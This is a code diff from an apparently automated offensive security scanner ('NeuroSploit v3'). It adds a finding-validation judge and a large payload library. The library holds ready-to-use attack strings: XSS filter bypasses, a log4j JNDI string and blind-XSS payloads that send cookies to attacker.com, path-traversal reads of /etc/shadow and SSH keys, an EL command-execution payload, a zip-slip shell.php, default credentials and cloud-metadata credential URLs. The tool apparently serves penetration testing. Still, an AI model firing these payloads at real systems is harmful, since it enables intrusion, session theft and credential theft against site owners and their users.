|
||||
"vulnerability_type": "Port Discovery",
|
||||
"description": f"Found {len(ports)} open ports: {', '.join(ports[:20])}",
|
||||
"affected_endpoint": target,
|
||||
"evidence": f"Ports: {', '.join(ports)}",
|
||||
"remediation": "Review exposed services and close unnecessary ports"
|
||||
})
|
||||
|
||||
return findings
|
||||
|
||||
def parse_dnsx_output(self, output: str, target: str) -> List[Dict]:
|
||||
"""Parse dnsx output"""
|
||||
findings = []
|
||||
records = [line.strip() for line in output.split('\n') if line.strip()]
|
||||
|
||||
if records:
|
||||
findings.append({
|
||||
"title": f"DNS Records: {len(records)}",
|
||||
"severity": "info",
|
||||
"vulnerability_type": "DNS Enumeration",
|
||||
"description": f"DNS records found: {', '.join(records[:10])}",
|
||||
"affected_endpoint": target,
|
||||
"evidence": "\n".join(records[:20]),
|
||||
"remediation": "Review DNS records for security issues"
|
||||
})
|
||||
|
||||
return findings
|
||||
|
||||
|
||||
# Global executor instance
|
||||
_executor: Optional[DockerToolExecutor] = None
|
||||
|
||||
@@ -0,0 +1,321 @@
|
||||
"""
|
||||
NeuroSploit v3 - Validation Judge
|
||||
|
||||
Sole authority for approving or rejecting vulnerability findings.
|
||||
No finding enters the confirmed list without passing through this judge.
|
||||
|
||||
Pipeline:
|
||||
1. Run negative controls (benign payloads → compare responses)
|
||||
2. Check proof of execution (per vuln type)
|
||||
3. Get AI interpretation (BEFORE verdict, not after)
|
||||
4. Calculate confidence score (0-100)
|
||||
5. Apply verdict (confirmed/likely/rejected)
|
||||
"""
|
||||
|
||||
import logging
|
||||
from dataclasses import dataclass, field, asdict
|
||||
from typing import Callable, Dict, List, Optional, Any
|
||||
|
||||
from backend.core.negative_control import NegativeControlEngine, NegativeControlResult
|
||||
from backend.core.proof_of_execution import ProofOfExecution, ProofResult
|
||||
from backend.core.confidence_scorer import ConfidenceScorer, ConfidenceResult
|
||||
from backend.core.vuln_engine.system_prompts import get_prompt_for_vuln_type
|
||||
from backend.core.access_control_learner import AccessControlLearner
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Result types
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
@dataclass
|
||||
class JudgmentResult:
|
||||
"""Complete judgment result from the ValidationJudge."""
|
||||
approved: bool # Should this finding be accepted?
|
||||
verdict: str # "confirmed" | "likely" | "rejected"
|
||||
confidence_score: int # 0-100
|
||||
confidence_breakdown: Dict[str, int] = field(default_factory=dict)
|
||||
proof_of_execution: Optional[ProofResult] = None
|
||||
negative_controls: Optional[NegativeControlResult] = None
|
||||
ai_interpretation: Optional[str] = None
|
||||
evidence_summary: str = "" # Hardened evidence string
|
||||
rejection_reason: str = "" # Why was it rejected (if applicable)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Judge
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class ValidationJudge:
|
||||
"""Sole authority for approving/rejecting vulnerability findings.
|
||||
|
||||
Orchestrates negative controls, proof of execution, AI interpretation,
|
||||
and confidence scoring into a single JudgmentResult.
|
||||
|
||||
Usage:
|
||||
judge = ValidationJudge(controls, proof, scorer, llm)
|
||||
judgment = await judge.evaluate(
|
||||
vuln_type, url, param, payload, test_response, baseline,
|
||||
signals, evidence, make_request_fn
|
||||
)
|
||||
if judgment.approved:
|
||||
# Create finding with judgment.confidence_score
|
||||
else:
|
||||
# Store as rejected finding with judgment.rejection_reason
|
||||
"""
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
negative_controls: NegativeControlEngine,
|
||||
proof_engine: ProofOfExecution,
|
||||
confidence_scorer: ConfidenceScorer,
|
||||
llm=None,
|
||||
access_control_learner: Optional[AccessControlLearner] = None,
|
||||
):
|
||||
self.controls = negative_controls
|
||||
self.proof = proof_engine
|
||||
self.scorer = confidence_scorer
|
||||
self.llm = llm
|
||||
self.acl_learner = access_control_learner
|
||||
|
||||
async def evaluate(
|
||||
self,
|
||||
vuln_type: str,
|
||||
url: str,
|
||||
param: str,
|
||||
payload: str,
|
||||
test_response: Dict,
|
||||
baseline: Optional[Dict],
|
||||
signals: List[str],
|
||||
evidence: str,
|
||||
make_request_fn: Callable,
|
||||
method: str = "GET",
|
||||
injection_point: str = "parameter",
|
||||
) -> JudgmentResult:
|
||||
"""Full evaluation pipeline.
|
||||
|
||||
Args:
|
||||
vuln_type: Vulnerability type (e.g., "ssrf", "xss_reflected")
|
||||
url: Target URL
|
||||
param: Parameter being tested
|
||||
payload: The attack payload used
|
||||
test_response: HTTP response dict from the attack
|
||||
baseline: Optional baseline response for comparison
|
||||
signals: Signal names from multi_signal_verify (e.g., ["baseline_diff"])
|
||||
evidence: Raw evidence string from verification
|
||||
make_request_fn: Async fn(url, method, params) → response dict
|
||||
method: HTTP method used
|
||||
injection_point: Where payload was injected
|
||||
|
||||
Returns:
|
||||
JudgmentResult with verdict, score, proof, controls, evidence
|
||||
"""
|
||||
# Step 1: Run negative controls
|
||||
control_result = await self._run_controls(
|
||||
url, param, method, vuln_type, test_response,
|
||||
make_request_fn, baseline, injection_point
|
||||
)
|
||||
|
||||
# Step 2: Check proof of execution
|
||||
proof_result = self.proof.check(
|
||||
vuln_type, payload, test_response, baseline
|
||||
)
|
||||
|
||||
# Step 3: AI interpretation (BEFORE verdict)
|
||||
ai_interp = await self._get_ai_interpretation(
|
||||
vuln_type, payload, test_response
|
||||
)
|
||||
|
||||
# Step 4: Calculate confidence score
|
||||
confidence = self.scorer.calculate(
|
||||
signals, proof_result, control_result, ai_interp
|
||||
)
|
||||
|
||||
# Step 4b: Apply access control learning adjustment
|
||||
if self.acl_learner:
|
||||
try:
|
||||
body = test_response.get("body", "") if isinstance(test_response, dict) else ""
|
||||
status = test_response.get("status", 0) if isinstance(test_response, dict) else 0
|
||||
hints = self.acl_learner.get_evaluation_hints(vuln_type, body, status)
|
||||
if hints and hints.get("likely_false_positive") and hints.get("fp_signals", 0) >= 2:
|
||||
fp_rate = self.acl_learner.get_false_positive_rate(vuln_type)
|
||||
if fp_rate > 0.7:
|
||||
# High historical FP rate + matching FP pattern → penalize
|
||||
penalty = -20
|
||||
confidence.score = max(0, confidence.score + penalty)
|
||||
confidence.breakdown["acl_learning_penalty"] = penalty
|
||||
confidence.detail += f"; ACL learning penalty ({penalty}pts, FP rate: {fp_rate:.0%})"
|
||||
# Recalculate verdict
|
||||
if confidence.score >= self.scorer.THRESHOLD_CONFIRMED:
|
||||
confidence.verdict = "confirmed"
|
||||
elif confidence.score >= self.scorer.THRESHOLD_LIKELY:
|
||||
confidence.verdict = "likely"
|
||||
else:
|
||||
confidence.verdict = "rejected"
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Step 5: Build judgment
|
||||
approved = confidence.verdict != "rejected"
|
||||
|
||||
# Build evidence summary
|
||||
evidence_summary = self._build_evidence_summary(
|
||||
evidence, proof_result, control_result, confidence, ai_interp
|
||||
)
|
||||
|
||||
# Build rejection reason if applicable
|
||||
rejection_reason = ""
|
||||
if not approved:
|
||||
rejection_reason = self._build_rejection_reason(
|
||||
vuln_type, param, proof_result, control_result,
|
||||
confidence, ai_interp
|
||||
)
|
||||
|
||||
return JudgmentResult(
|
||||
approved=approved,
|
||||
verdict=confidence.verdict,
|
||||
confidence_score=confidence.score,
|
||||
confidence_breakdown=confidence.breakdown,
|
||||
proof_of_execution=proof_result,
|
||||
negative_controls=control_result,
|
||||
ai_interpretation=ai_interp,
|
||||
evidence_summary=evidence_summary,
|
||||
rejection_reason=rejection_reason,
|
||||
)
|
||||
|
||||
async def _run_controls(
|
||||
self,
|
||||
url: str,
|
||||
param: str,
|
||||
method: str,
|
||||
vuln_type: str,
|
||||
attack_response: Dict,
|
||||
make_request_fn: Callable,
|
||||
baseline: Optional[Dict],
|
||||
injection_point: str,
|
||||
) -> Optional[NegativeControlResult]:
|
||||
"""Run negative controls with error handling."""
|
||||
try:
|
||||
return await self.controls.run_controls(
|
||||
url, param, method, vuln_type, attack_response,
|
||||
make_request_fn, baseline, injection_point
|
||||
)
|
||||
except Exception as e:
|
||||
logger.debug(f"Negative controls failed: {e}")
|
||||
return None
|
||||
|
||||
async def _get_ai_interpretation(
|
||||
self,
|
||||
vuln_type: str,
|
||||
payload: str,
|
||||
response: Dict,
|
||||
) -> Optional[str]:
|
||||
"""Get AI interpretation of the response (BEFORE verdict)."""
|
||||
if not self.llm or not self.llm.is_available():
|
||||
return None
|
||||
|
||||
try:
|
||||
body = response.get("body", "")[:1000]
|
||||
status = response.get("status", 0)
|
||||
|
||||
# Inject access control learning hints for relevant vuln types
|
||||
acl_hint = ""
|
||||
if self.acl_learner:
|
||||
hints = self.acl_learner.get_evaluation_hints(vuln_type, body, status)
|
||||
if hints and hints.get("matching_patterns", 0) > 0:
|
||||
fp_label = "LIKELY FALSE POSITIVE" if hints["likely_false_positive"] else "POSSIBLY REAL"
|
||||
acl_hint = (
|
||||
f"\n\n**Learned Pattern Hints:** {fp_label} "
|
||||
f"(pattern: {hints['pattern_type']}, "
|
||||
f"FP signals: {hints['fp_signals']}, TP signals: {hints['tp_signals']})\n"
|
||||
f"IMPORTANT: For access control vulns (BOLA/BFLA/IDOR), do NOT rely on "
|
||||
f"HTTP status codes. Compare actual response DATA — check if different "
|
||||
f"user's private data is returned vs. denial/empty/own-data patterns."
|
||||
)
|
||||
|
||||
prompt = f"""Briefly analyze this HTTP response after testing for {vuln_type.upper()}.
|
||||
|
||||
Payload sent: {payload[:200]}
|
||||
Response status: {status}
|
||||
|
||||
Response excerpt:
|
||||
```
|
||||
{body}
|
||||
```
|
||||
{acl_hint}
|
||||
|
||||
Answer in 1-2 sentences: Was the payload processed/executed? Or was it ignored/filtered/blocked? Be specific about what happened."""
|
||||
|
||||
system = get_prompt_for_vuln_type(vuln_type, "interpretation")
|
||||
result = await self.llm.generate(prompt, system)
|
||||
return result.strip()[:300] if result else None
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
def _build_evidence_summary(
|
||||
self,
|
||||
raw_evidence: str,
|
||||
proof: Optional[ProofResult],
|
||||
controls: Optional[NegativeControlResult],
|
||||
confidence: ConfidenceResult,
|
||||
ai_interp: Optional[str],
|
||||
) -> str:
|
||||
"""Build hardened evidence string with all verification components."""
|
||||
parts = []
|
||||
|
||||
# Raw evidence
|
||||
if raw_evidence:
|
||||
parts.append(raw_evidence)
|
||||
|
||||
# Proof of execution
|
||||
if proof:
|
||||
if proof.proven:
|
||||
parts.append(f"[PROOF] {proof.proof_type}: {proof.detail}")
|
||||
else:
|
||||
parts.append(f"[NO PROOF] {proof.detail}")
|
||||
|
||||
# Negative controls
|
||||
if controls:
|
||||
parts.append(f"[CONTROLS] {controls.detail}")
|
||||
|
||||
# AI interpretation
|
||||
if ai_interp:
|
||||
parts.append(f"[AI] {ai_interp}")
|
||||
|
||||
# Confidence score
|
||||
parts.append(f"[CONFIDENCE] {confidence.score}/100 [{confidence.verdict}]")
|
||||
|
||||
return " | ".join(parts)
|
||||
|
||||
def _build_rejection_reason(
|
||||
self,
|
||||
vuln_type: str,
|
||||
param: str,
|
||||
proof: Optional[ProofResult],
|
||||
controls: Optional[NegativeControlResult],
|
||||
confidence: ConfidenceResult,
|
||||
ai_interp: Optional[str],
|
||||
) -> str:
|
||||
"""Build clear rejection reason explaining why finding was rejected."""
|
||||
reasons = []
|
||||
|
||||
if proof and not proof.proven:
|
||||
reasons.append("no proof of execution")
|
||||
|
||||
if controls and controls.same_behavior:
|
||||
reasons.append(
|
||||
f"negative controls show same behavior "
|
||||
f"({controls.controls_matching}/{controls.controls_run} controls match)"
|
||||
)
|
||||
|
||||
if ai_interp:
|
||||
ineffective_kws = ["ignored", "not processed", "blocked", "filtered",
|
||||
"sanitized", "no effect"]
|
||||
if any(kw in ai_interp.lower() for kw in ineffective_kws):
|
||||
reasons.append(f"AI confirms payload was ineffective")
|
||||
|
||||
reason_str = "; ".join(reasons) if reasons else "confidence too low"
|
||||
|
||||
return (f"Rejected {vuln_type} in {param}: {reason_str} "
|
||||
f"(score: {confidence.score}/100)")
|
||||
@@ -1,5 +1,13 @@
|
||||
from backend.core.vuln_engine.engine import DynamicVulnerabilityEngine
|
||||
from backend.core.vuln_engine.registry import VulnerabilityRegistry
|
||||
from backend.core.vuln_engine.payload_generator import PayloadGenerator
|
||||
|
||||
|
||||
def __getattr__(name):
|
||||
"""Lazy import for DynamicVulnerabilityEngine (requires database models)"""
|
||||
if name == "DynamicVulnerabilityEngine":
|
||||
from backend.core.vuln_engine.engine import DynamicVulnerabilityEngine
|
||||
return DynamicVulnerabilityEngine
|
||||
raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
|
||||
|
||||
|
||||
__all__ = ["DynamicVulnerabilityEngine", "VulnerabilityRegistry", "PayloadGenerator"]
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -48,11 +48,129 @@ class PayloadGenerator:
|
||||
"<img src=x onerror=alert(1)>",
|
||||
],
|
||||
"xss_stored": [
|
||||
"<script>alert('StoredXSS')</script>",
|
||||
"<img src=x onerror=alert('StoredXSS')>",
|
||||
"<svg onload=alert('StoredXSS')>",
|
||||
"javascript:alert('StoredXSS')",
|
||||
"<a href=javascript:alert('StoredXSS')>click</a>",
|
||||
# Basic script tags
|
||||
"<script>alert(1)</script>",
|
||||
"<script>alert(document.domain)</script>",
|
||||
"<script>alert(String.fromCharCode(88,83,83))</script>",
|
||||
"<Script>alert(1)</Script>",
|
||||
"<scr<script>ipt>alert(1)</scr</script>ipt>",
|
||||
"<script/src=data:,alert(1)>",
|
||||
"<script>alert`1`</script>",
|
||||
# IMG event handlers
|
||||
"<img src=x onerror=alert(1)>",
|
||||
"<img src=x onerror=alert(document.domain)>",
|
||||
"<img/src=x onerror=alert(1)>",
|
||||
"<img src=1 onerror='alert(1)'>",
|
||||
"<IMG SRC=x ONERROR=alert(1)>",
|
||||
"<img src onerror=alert(1)>",
|
||||
"<img src=x onerror=prompt(1)>",
|
||||
"<img src=x onerror=confirm(1)>",
|
||||
# SVG event handlers
|
||||
"<svg onload=alert(1)>",
|
||||
"<svg/onload=alert(1)>",
|
||||
"<svg onload=alert(document.domain)>",
|
||||
"<svg><script>alert(1)</script></svg>",
|
||||
"<svg><animate onbegin=alert(1)>",
|
||||
"<svg><set onbegin=alert(1)>",
|
||||
# Other element events
|
||||
"<body onload=alert(1)>",
|
||||
"<input onfocus=alert(1) autofocus>",
|
||||
"<input onblur=alert(1) autofocus><input autofocus>",
|
||||
"<details open ontoggle=alert(1)>",
|
||||
"<marquee onstart=alert(1)>",
|
||||
"<video><source onerror=alert(1)>",
|
||||
"<audio src=x onerror=alert(1)>",
|
||||
"<video src=x onerror=alert(1)>",
|
||||
"<select onfocus=alert(1) autofocus>",
|
||||
"<textarea onfocus=alert(1) autofocus>",
|
||||
"<xss autofocus tabindex=1 onfocus=alert(1)></xss>",
|
||||
"<div contenteditable onblur=alert(1)>click then lose focus</div>",
|
||||
# Anchor/link
|
||||
"<a href=javascript:alert(1)>click</a>",
|
||||
"<a href='javascript:alert(1)'>click me</a>",
|
||||
"<a href=javascript:alert(1)>click</a>",
|
||||
"<iframe src=javascript:alert(1)>",
|
||||
"<embed src=javascript:alert(1)>",
|
||||
# Attribute escape + event handlers
|
||||
'" onfocus=alert(1) autofocus x="',
|
||||
"' onfocus=alert(1) autofocus x='",
|
||||
'"><script>alert(1)</script>',
|
||||
"'><script>alert(1)</script>",
|
||||
'" onmouseover=alert(1) x="',
|
||||
"' onmouseover=alert(1) x='",
|
||||
'"><img src=x onerror=alert(1)>',
|
||||
"'><img src=x onerror=alert(1)>",
|
||||
'" autofocus onfocus=alert(1) x="',
|
||||
# JavaScript context breakout
|
||||
"</script><script>alert(1)</script>",
|
||||
"';alert(1)//",
|
||||
'";alert(1)//',
|
||||
"'-alert(1)-'",
|
||||
'"-alert(1)-"',
|
||||
"\\\\';;alert(1)//",
|
||||
"${alert(1)}",
|
||||
"</script><img src=x onerror=alert(1)>",
|
||||
# Encoding bypasses
|
||||
"%3Cscript%3Ealert(1)%3C/script%3E",
|
||||
"<script>alert(1)</script>",
|
||||
"<script>alert(1)</script>",
|
||||
"<script>al\\u0065rt(1)</script>",
|
||||
"<scr\\x00ipt>alert(1)</scr\\x00ipt>",
|
||||
"javas\\tcript:alert(1)",
|
||||
# WAF/filter bypass
|
||||
"<img src=x onerror=alert`1`>",
|
||||
"<img src=x onerror=window['alert'](1)>",
|
||||
"<img src=x onerror=self['alert'](1)>",
|
||||
"<img src=x onerror=top['al'+'ert'](1)>",
|
||||
"<img src=x onerror=[].constructor.constructor('alert(1)')()>",
|
||||
"<img src=x onerror=Function('alert(1)')()>",
|
||||
"<img src=x onerror=eval(atob('YWxlcnQoMSk='))>",
|
||||
"<svg><animatetransform onbegin=alert(1)>",
|
||||
"<style>@keyframes x{}</style><xss style='animation-name:x' onanimationend='alert(1)'>",
|
||||
"<form><button formaction=javascript:alert(1)>X</button></form>",
|
||||
"<object data=javascript:alert(1)>",
|
||||
"<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>",
|
||||
],
|
||||
# XSS Context-Specific Payloads
|
||||
"xss_context_html_body": [
|
||||
"<script>alert(1)</script>",
|
||||
"<img src=x onerror=alert(1)>",
|
||||
"<svg onload=alert(1)>",
|
||||
"<details open ontoggle=alert(1)>",
|
||||
"<input onfocus=alert(1) autofocus>",
|
||||
"<body onload=alert(1)>",
|
||||
"<xss autofocus tabindex=1 onfocus=alert(1)></xss>",
|
||||
"<video><source onerror=alert(1)>",
|
||||
],
|
||||
"xss_context_attribute": [
|
||||
'" onfocus=alert(1) autofocus x="',
|
||||
"' onfocus=alert(1) autofocus x='",
|
||||
'"><script>alert(1)</script>',
|
||||
"'><script>alert(1)</script>",
|
||||
'" onmouseover=alert(1) x="',
|
||||
'"><img src=x onerror=alert(1)>',
|
||||
'" autofocus onfocus=alert(1) x="',
|
||||
"' autofocus onfocus=alert(1) x='",
|
||||
],
|
||||
"xss_context_js_string": [
|
||||
"';alert(1)//",
|
||||
'";alert(1)//',
|
||||
"</script><script>alert(1)</script>",
|
||||
"'-alert(1)-'",
|
||||
"\\\\';;alert(1)//",
|
||||
"</script><img src=x onerror=alert(1)>",
|
||||
],
|
||||
"xss_context_template_literal": [
|
||||
"${alert(1)}",
|
||||
"${alert(document.domain)}",
|
||||
"${[].constructor.constructor('alert(1)')()}",
|
||||
],
|
||||
"xss_context_href": [
|
||||
"javascript:alert(1)",
|
||||
"javascript:alert(document.domain)",
|
||||
"javascript:alert(1)",
|
||||
"java%0ascript:alert(1)",
|
||||
"data:text/html,<script>alert(1)</script>",
|
||||
],
|
||||
"xss_dom": [
|
||||
"#<script>alert('DOMXSS')</script>",
|
||||
@@ -282,8 +400,502 @@ class PayloadGenerator:
|
||||
"test",
|
||||
"../1",
|
||||
],
|
||||
|
||||
# ===== NEW PAYLOAD LIBRARIES (68 new types) =====
|
||||
|
||||
# Advanced Injection
|
||||
"ldap_injection": [
|
||||
"*", ")(cn=*)", ")(|(cn=*", "*)(uid=*))(|(uid=*",
|
||||
"admin)(&)", ")(|(password=*)", "*)(objectClass=*",
|
||||
],
|
||||
"xpath_injection": [
|
||||
"' or '1'='1", "' or ''='", "'] | //user/* | //user['",
|
||||
"' and count(//user)>0 and '1'='1",
|
||||
],
|
||||
"graphql_injection": [
|
||||
'{__schema{types{name,fields{name,type{name}}}}}',
|
||||
'{__type(name:"User"){fields{name}}}',
|
||||
'{"query":"mutation{updateUser(role:\\"admin\\"){id}}"}',
|
||||
],
|
||||
"crlf_injection": [
|
||||
"%0d%0aX-Injected:neurosploit", "%0d%0aSet-Cookie:evil=1",
|
||||
"%0d%0a%0d%0a<html>injected", "\\r\\nX-Test:1",
|
||||
"%0d%0aLocation:http://evil.com",
|
||||
],
|
||||
"header_injection": [
|
||||
"evil.com", "%0d%0aInjected:true",
|
||||
"target.com\r\nX-Injected: true", "evil.com%00.target.com",
|
||||
],
|
||||
"email_injection": [
|
||||
"test@test.com%0d%0aCc:attacker@evil.com",
|
||||
"test@test.com%0d%0aBcc:spy@evil.com",
|
||||
"test@test.com%0aSubject:Hacked",
|
||||
],
|
||||
"expression_language_injection": [
|
||||
"${7*7}", "#{7*7}", "${applicationScope}",
|
||||
"${T(java.lang.Runtime).getRuntime().exec('id')}",
|
||||
"${pageContext.request.serverName}",
|
||||
],
|
||||
"log_injection": [
|
||||
"test%0aINFO:Admin_logged_in",
|
||||
"${jndi:ldap://attacker.com/a}",
|
||||
"test%0a%0aNEW_LOG_ENTRY",
|
||||
"\\x1b[31mRED_TEXT",
|
||||
],
|
||||
"html_injection": [
|
||||
"<h1>INJECTED</h1>", "<b>neurosploit_test</b>",
|
||||
"<img src=x>", "<form action='http://evil.com'><input name=pw><input type=submit>",
|
||||
"<a href='http://evil.com'>Click Here</a>",
|
||||
],
|
||||
"csv_injection": [
|
||||
"=cmd|'/C calc'!A0", "=1+1", "+1+1", "@SUM(1+1)",
|
||||
'=HYPERLINK("http://evil.com","Click")',
|
||||
"-1+1", '=IMPORTXML("http://evil.com","//a")',
|
||||
],
|
||||
"orm_injection": [
|
||||
"field__gt=0", "field__contains=admin", "field__regex=.*",
|
||||
"' OR '1'='1", "field[$ne]=",
|
||||
],
|
||||
|
||||
# XSS Advanced
|
||||
"blind_xss": [
|
||||
"<script src=//callback.attacker.com></script>",
|
||||
"'><script>new Image().src='//attacker.com/?c='+document.cookie</script>",
|
||||
"<img src=//callback.attacker.com/blind>",
|
||||
],
|
||||
"mutation_xss": [
|
||||
"<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>",
|
||||
"<svg></p><style><a id=\"</style><img src=1 onerror=alert(1)>\">",
|
||||
"<noscript><p title=\"</noscript><img src=x onerror=alert(1)>\">",
|
||||
],
|
||||
|
||||
# File Access Advanced
|
||||
"arbitrary_file_read": [
|
||||
"/etc/passwd", "/etc/shadow", "../../../.env",
|
||||
"../../config/database.yml", "/proc/self/environ",
|
||||
"~/.ssh/id_rsa", "C:\\Windows\\win.ini",
|
||||
],
|
||||
"arbitrary_file_delete": [
|
||||
"../../../tmp/test_delete", "../../.htaccess",
|
||||
"../../../tmp/neurosploit_test",
|
||||
],
|
||||
"zip_slip": [
|
||||
"../../tmp/zipslip_test.txt",
|
||||
"../../../var/www/html/shell.php",
|
||||
"../../../../tmp/zipslip_proof",
|
||||
],
|
||||
|
||||
# Auth Advanced
|
||||
"weak_password": [
|
||||
"123456", "password", "abc123", "qwerty",
|
||||
"aaaaaa", "12345678", "Password1", "test",
|
||||
],
|
||||
"default_credentials": [
|
||||
"admin:admin", "admin:password", "root:root",
|
||||
"test:test", "admin:admin123", "user:user",
|
||||
"admin:changeme", "admin:default",
|
||||
],
|
||||
"two_factor_bypass": [
|
||||
"000000", "123456", "skip_2fa=true",
|
||||
"verify=false", "step=3",
|
||||
],
|
||||
"oauth_misconfiguration": [
|
||||
"redirect_uri=https://evil.com",
|
||||
"redirect_uri=https://target.com.evil.com",
|
||||
"redirect_uri=https://target.com/callback?next=evil.com",
|
||||
],
|
||||
|
||||
# Authorization Advanced
|
||||
"bfla": [
|
||||
"/api/admin/users", "/api/admin/settings",
|
||||
"/api/admin/create-user", "/admin/config",
|
||||
],
|
||||
"mass_assignment": [
|
||||
'{"role":"admin"}', '{"is_admin":true}',
|
||||
'{"verified":true}', '{"balance":99999}',
|
||||
'{"account_type":"premium"}',
|
||||
],
|
||||
"forced_browsing": [
|
||||
"/admin", "/dashboard", "/api/admin",
|
||||
"/internal", "/debug", "/console",
|
||||
"/actuator", "/swagger-ui.html", "/.git/config",
|
||||
"/.env", "/backup.sql", "/phpinfo.php",
|
||||
],
|
||||
|
||||
# Client-Side Advanced
|
||||
"dom_clobbering": [
|
||||
'<img id="x" src="evil.com">',
|
||||
'<form id="x"><input id="y" value="evil"></form>',
|
||||
'<a id="CONFIG" href="evil://payload">',
|
||||
],
|
||||
"postmessage_vulnerability": [
|
||||
'window.postMessage("inject","*")',
|
||||
'window.postMessage(\'{"cmd":"getToken"}\',\'*\')',
|
||||
],
|
||||
"websocket_hijacking": [
|
||||
"new WebSocket('wss://target.com/ws')",
|
||||
],
|
||||
"prototype_pollution": [
|
||||
'{"__proto__":{"isAdmin":true}}',
|
||||
'{"constructor":{"prototype":{"polluted":true}}}',
|
||||
'?__proto__[isAdmin]=true',
|
||||
'?__proto__[test]=polluted',
|
||||
],
|
||||
"css_injection": [
|
||||
"color:red;background:url(//evil.com/test)",
|
||||
"};body{background:red}",
|
||||
"input[value^='a']{background:url(//evil.com/a)}",
|
||||
],
|
||||
"tabnabbing": [
|
||||
'<a target="_blank" href="http://test.com">Test</a>',
|
||||
],
|
||||
|
||||
# Infrastructure Advanced
|
||||
"directory_listing": [
|
||||
"/images/", "/uploads/", "/backup/",
|
||||
"/static/", "/assets/", "/media/",
|
||||
"/files/", "/docs/", "/data/", "/logs/",
|
||||
],
|
||||
"debug_mode": [
|
||||
"/nonexistent_page_404_test", "/?debug=true",
|
||||
"/phpinfo.php", "/actuator/env",
|
||||
"/debug/pprof", "/__debug__/",
|
||||
],
|
||||
"exposed_admin_panel": [
|
||||
"/admin", "/administrator", "/admin/login",
|
||||
"/wp-admin", "/cpanel", "/phpmyadmin",
|
||||
"/adminer", "/manager/html", "/jenkins",
|
||||
],
|
||||
"exposed_api_docs": [
|
||||
"/swagger-ui.html", "/swagger-ui/", "/api-docs",
|
||||
"/openapi.json", "/swagger.json", "/graphql",
|
||||
"/graphiql", "/redoc", "/v1/api-docs",
|
||||
],
|
||||
"insecure_cookie_flags": [], # Inspection-based, no payloads
|
||||
"http_smuggling": [
|
||||
"Content-Length: 6\r\nTransfer-Encoding: chunked",
|
||||
"Transfer-Encoding: xchunked",
|
||||
],
|
||||
"cache_poisoning": [
|
||||
"X-Forwarded-Host: evil.com",
|
||||
"X-Forwarded-Scheme: nothttps",
|
||||
"X-Original-URL: /admin",
|
||||
],
|
||||
|
||||
# Logic & Data
|
||||
"race_condition": [], # Requires concurrent requests, not payloads
|
||||
"business_logic": [
|
||||
"-1", "0", "0.001", "99999999",
|
||||
"-99999", "NaN", "null", "undefined",
|
||||
],
|
||||
"rate_limit_bypass": [
|
||||
"X-Forwarded-For: 1.2.3.4",
|
||||
"X-Real-IP: 1.2.3.4",
|
||||
"X-Originating-IP: 1.2.3.4",
|
||||
],
|
||||
"parameter_pollution": [
|
||||
"param=safe¶m=malicious",
|
||||
"param[]=a¶m[]=b",
|
||||
],
|
||||
"type_juggling": [
|
||||
"0", "true", "[]", "null",
|
||||
'{"password":0}', '{"password":true}',
|
||||
],
|
||||
"insecure_deserialization": [
|
||||
"rO0ABXNyAA...", # Java serialization marker
|
||||
'O:4:"User":1:{s:4:"role";s:5:"admin";}', # PHP
|
||||
"gASVDAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAJpZJSFlFKULg==", # Python pickle
|
||||
],
|
||||
"subdomain_takeover": [], # DNS-based, not payloads
|
||||
"host_header_injection": [
|
||||
"evil.com", "target.com:evil.com@evil.com",
|
||||
"evil.com%0d%0aX-Injected:true",
|
||||
],
|
||||
"timing_attack": [], # Time-measurement based
|
||||
"improper_error_handling": [
|
||||
"' \"", "{{invalid}}", "<>!@#$%^&*()",
|
||||
"a" * 10000, "\x00\x01\x02", "NaN", "undefined",
|
||||
],
|
||||
"sensitive_data_exposure": [], # Inspection-based
|
||||
"information_disclosure": [
|
||||
"/.git/config", "/.git/HEAD", "/.svn/entries",
|
||||
"/.env", "/robots.txt", "/sitemap.xml",
|
||||
"/crossdomain.xml", "/.DS_Store",
|
||||
],
|
||||
"api_key_exposure": [], # JS analysis, not payloads
|
||||
"source_code_disclosure": [
|
||||
"/.git/config", "/.git/HEAD", "/app.js.map",
|
||||
"/main.js.map", "/index.php.bak", "/config.php~",
|
||||
"/web.config.old", "/backup.zip",
|
||||
],
|
||||
"backup_file_exposure": [
|
||||
"/backup.sql", "/dump.sql", "/database.sql",
|
||||
"/backup.zip", "/backup.tar.gz", "/site.zip",
|
||||
"/db_backup.sql", "/backup/latest.sql",
|
||||
],
|
||||
"version_disclosure": [], # Header inspection
|
||||
|
||||
# Crypto & Supply
|
||||
"weak_encryption": [], # TLS inspection
|
||||
"weak_hashing": [], # Hash analysis
|
||||
"weak_random": [], # Token collection
|
||||
"cleartext_transmission": [], # HTTP inspection
|
||||
"vulnerable_dependency": [], # Version fingerprinting
|
||||
"outdated_component": [
|
||||
"/readme.html", "/CHANGELOG.md", "/VERSION",
|
||||
"/license.txt",
|
||||
],
|
||||
"insecure_cdn": [], # Script tag inspection
|
||||
"container_escape": [], # Container inspection
|
||||
|
||||
# Cloud & API
|
||||
"s3_bucket_misconfiguration": [], # External check
|
||||
"cloud_metadata_exposure": [
|
||||
"http://169.254.169.254/latest/meta-data/",
|
||||
"http://169.254.169.254/latest/meta-data/iam/security-credentials/",
|
||||
"http://metadata.google.internal/computeMetadata/v1/",
|
||||
],
|
||||
"serverless_misconfiguration": [], # Config inspection
|
||||
"graphql_introspection": [
|
||||
'{__schema{queryType{name},mutationType{name},types{name,kind,fields{name,type{name,kind,ofType{name}}}}}}',
|
||||
'{__type(name:"User"){fields{name,type{name}}}}',
|
||||
],
|
||||
"graphql_dos": [
|
||||
'{"query":"{' + 'user{posts{comments{author' * 5 + '}}}}}' + '}' * 4 + '"}',
|
||||
],
|
||||
"rest_api_versioning": [
|
||||
"/api/v1/", "/api/v0/", "/v1/", "/api/1.0/",
|
||||
],
|
||||
"soap_injection": [
|
||||
"?wsdl",
|
||||
